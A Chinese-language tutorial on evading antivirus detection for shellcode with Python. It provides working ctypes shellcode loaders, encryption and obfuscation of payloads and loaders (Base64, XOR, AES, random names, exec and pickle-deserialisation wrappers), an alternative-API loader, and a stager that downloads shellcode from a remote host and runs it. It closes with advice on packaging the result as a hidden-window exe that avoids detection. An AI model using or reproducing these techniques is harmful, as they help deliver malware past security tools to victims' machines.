python进行shellcode免杀
字数 625 2025-08-06 21:48:48

Python Shellcode免杀技术详解

0x00 前言

本文详细讲解使用Python实现Shellcode免杀的多种技术手段,包括Shellcode加载器实现、代码混淆、寻找免杀API、分离免杀、Python打包成exe等技术要点。

0x01 Shellcode加载器实现

基本加载器实现

import ctypes

shellcode = bytearray(b"\xfc\xe8\x89\x00\x00\x00\x60\x89......")

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40)
)

buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)

handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

渐进式加载模式

import ctypes

shellcode = bytearray(b"\xfc\x48\x83....")

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x04)  # 初始为可读可写不可执行
)

buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)

# 修改内存属性为可执行
ctypes.windll.kernel32.VirtualProtect(ptr, len(shellcode), 0x40, ctypes.byref(ctypes.c_long(1)))

handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

0x02 代码混淆技术

Shellcode混淆方法

Base64编码

import base64

# 编码
buf1 = b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00..."
b64shellcode = base64.b64encode(buf1).decode('ascii')

# 解码加载
import base64
import ctypes
shellcode = base64.b64decode(b'/EiD5PDoyAAAAEF......')
shellcode = bytearray(shellcode)
# 后续加载代码...

XOR加密

# 加密
from optparse import OptionParser
import sys

def xorEncode(file,key,output):
    shellcode = ""
    shellcode_size = 0
    while True:
        code = file.read(1)
        if not code:
            break
        code = ord(code) ^ key
        code_hex = hex(code).replace("0x",'')
        if len(code_hex) == 1:
            code_hex = '0'+code_hex
        shellcode += '\\x' + code_hex
        shellcode_size += 1
    file.close()
    output.write(shellcode)
    output.close()
    print(f"shellcodeSize:{shellcode_size}")

# 解密加载
import ctypes
xor_shellcode = "生成的xor shellcode"
key = 11
shellcode = bytearray([ord(xor_shellcode[i]) ^ key for i in range(len(xor_shellcode))])
# 后续加载代码...

AES加密

# 加密
from base64 import b64encode
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

shellcode = b"\xfc\x48\x83\xe4\xf0...."
key = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_CBC)
ct_bytes = cipher.encrypt(pad(shellcode, AES.block_size))
iv = b64encode(cipher.iv).decode('utf-8')
ct = b64encode(ct_bytes).decode('utf-8')

# 解密加载
import ctypes
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

iv = 'xxx'
key = b'xxx'
ase_shellcode = 'xxx'

iv = b64decode(iv)
ase_shellcode = b64decode(ase_shellcode)
cipher = AES.new(key, AES.MODE_CBC, iv)
shellcode = bytearray(unpad(cipher.decrypt(ase_shellcode), AES.block_size))
# 后续加载代码...

加载器代码混淆

随机变量名

import random
import string

class AutoRandom:
    def auto_random_str(self,min_length=8,max_length=15):
        length=random.randint(min_length,max_length)
        return ''.join(random.choice(string.ascii_letters) for x in range(length))

# 使用示例
AutoRandom = AutoRandom()
ctypes_alias = AutoRandom.auto_random_str()
shellcode_var = AutoRandom.auto_random_str()
ptr_var = AutoRandom.auto_random_str()
# 替换原有变量名...

Base64编码加载器

# 编码加载器
import base64
loader_code = b"""
shellcode = bytearray(buf)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""
base64_loader = base64.b64encode(loader_code)

# 解码执行
import base64
import ctypes
buf = base64.b64decode(b'/EiD5PDoyAAAAEF......')
base64_loader = base64.b64decode(b'base64编码的加载器代码').decode()
exec(base64_loader)

反序列化混淆

import pickle
import base64

shellcodeloader = """
import ctypes,base64
shellcode = base64.b64decode(b'/EiD5PDoyAAAAE....')
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buffered, ctypes.c_int(len(shellcode)))
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
"""

class AAA(object):
    def __reduce__(self):
        return (exec, (shellcodeloader,))

seri = pickle.dumps(AAA())
seri_base64 = base64.b64encode(seri)

# 反序列化执行
import base64,pickle
shellcodeloader = b'gASVwgcAAAAAAACMCGJ1aWx0aW5zlIwEZX............'
pickle.loads(base64.b64decode(shellcodeloader))

0x03 替代API使用

替代常见的VirtualAlloc、RtlMoveMemory等API:

import ctypes

# 使用AllocADsMem等替代API
macmem = ctypes.windll.Activeds.AllocADsMem(len(shellcode)/6*17)
for i in range(len(shellcode)/6):
     bytes_a = shellcode[i*6:6+i*6]
     ctypes.windll.Ntdll.RtlEthernetAddressToStringA(bytes_a, macmem+i*17)

list = []
for i in range(len(shellcode)/6):
    d = ctypes.string_at(macmem+i*17,17)
    list.append(d)

ptr = ctypes.windll.Activeds.AllocADsMem(len(list)*6)
rwxpage = ptr
for i in range(len(list)):
    ctypes.windll.Ntdll.RtlEthernetStringToAddressA(list[i], list[i], rwxpage)
    rwxpage += 6

ctypes.windll.kernel32.VirtualProtect(ptr, len(list)*6, 0x40, ctypes.byref(ctypes.c_long(1)))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ptr, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

0x04 Shellcode分离技术

import ctypes
import requests
import base64

# 从远程服务器获取shellcode
rep = requests.get("http://192.168.111.132/1.txt")
shellcode = bytearray(base64.b64decode(rep.content))

# 常规加载代码...
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(shellcode)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40)
)
buffered = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buffered,
    ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))

0x05 Python打包成exe

PyInstaller

# Python2安装
pip2 install pyinstaller==3.6 -i https://pypi.douban.com/simple

# Python3安装
pip3 install pyinstaller -i https://pypi.douban.com/simple

# 基本用法
pyinstaller -F test.py -w -i test.ico

# 参数说明
-F, -onefile: 生成单个可执行文件
-w, -windowed, -noconsole: 运行时不会出现控制台窗口
-i: 指定可执行文件图标(.ico格式)
-c, -console, -nowindowed: 运行时显示控制台窗口(默认)
-D, -onedir: 创建一个目录包含EXE文件(默认选项)

py2exe

# setup.py示例(python3适用)
from distutils.core import setup
import py2exe
setup(
    options={
        'py2exe': {
            'optimize': 2,  
            'bundle_files': 1,  # 所有文件打包成一个exe文件
            'compressed': True,
        },
    },
    #console=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}],  # 显示控制台
    windows=[{"script": "test.py", "icon_resources": [(1, "test.ico")]}],   # 不显示控制台
    zipfile=None,
)

# 执行打包
python setup.py py2exe

0x06 组合技术示例

  1. Shellcode AES加密 + 加载器PEM编码 + pyinstaller打包
  2. 随机变量名 + Shellcode XOR+Base64双重编码 + 反序列化混淆 + pyinstaller打包

0x07 注意事项

  1. Python打包的exe文件体积较大,实际应用中推荐使用Go或C#等语言实现
  2. 不同Python版本和打包工具组合会影响免杀效果,建议测试多种组合
  3. 最新版pyinstaller(5.0+)生成的exe更容易被检测,建议使用旧版(3.6)
  4. 多种技术组合使用能显著提高免杀效果
  5. 实际环境中应考虑文件体积、执行效率等多方面因素
Python Shellcode免杀技术详解 0x00 前言 本文详细讲解使用Python实现Shellcode免杀的多种技术手段,包括Shellcode加载器实现、代码混淆、寻找免杀API、分离免杀、Python打包成exe等技术要点。 0x01 Shellcode加载器实现 基本加载器实现 渐进式加载模式 0x02 代码混淆技术 Shellcode混淆方法 Base64编码 XOR加密 AES加密 加载器代码混淆 随机变量名 Base64编码加载器 反序列化混淆 0x03 替代API使用 替代常见的VirtualAlloc、RtlMoveMemory等API: 0x04 Shellcode分离技术 0x05 Python打包成exe PyInstaller py2exe 0x06 组合技术示例 Shellcode AES加密 + 加载器PEM编码 + pyinstaller打包 随机变量名 + Shellcode XOR+Base64双重编码 + 反序列化混淆 + pyinstaller打包 0x07 注意事项 Python打包的exe文件体积较大,实际应用中推荐使用Go或C#等语言实现 不同Python版本和打包工具组合会影响免杀效果,建议测试多种组合 最新版pyinstaller(5.0+)生成的exe更容易被检测,建议使用旧版(3.6) 多种技术组合使用能显著提高免杀效果 实际环境中应考虑文件体积、执行效率等多方面因素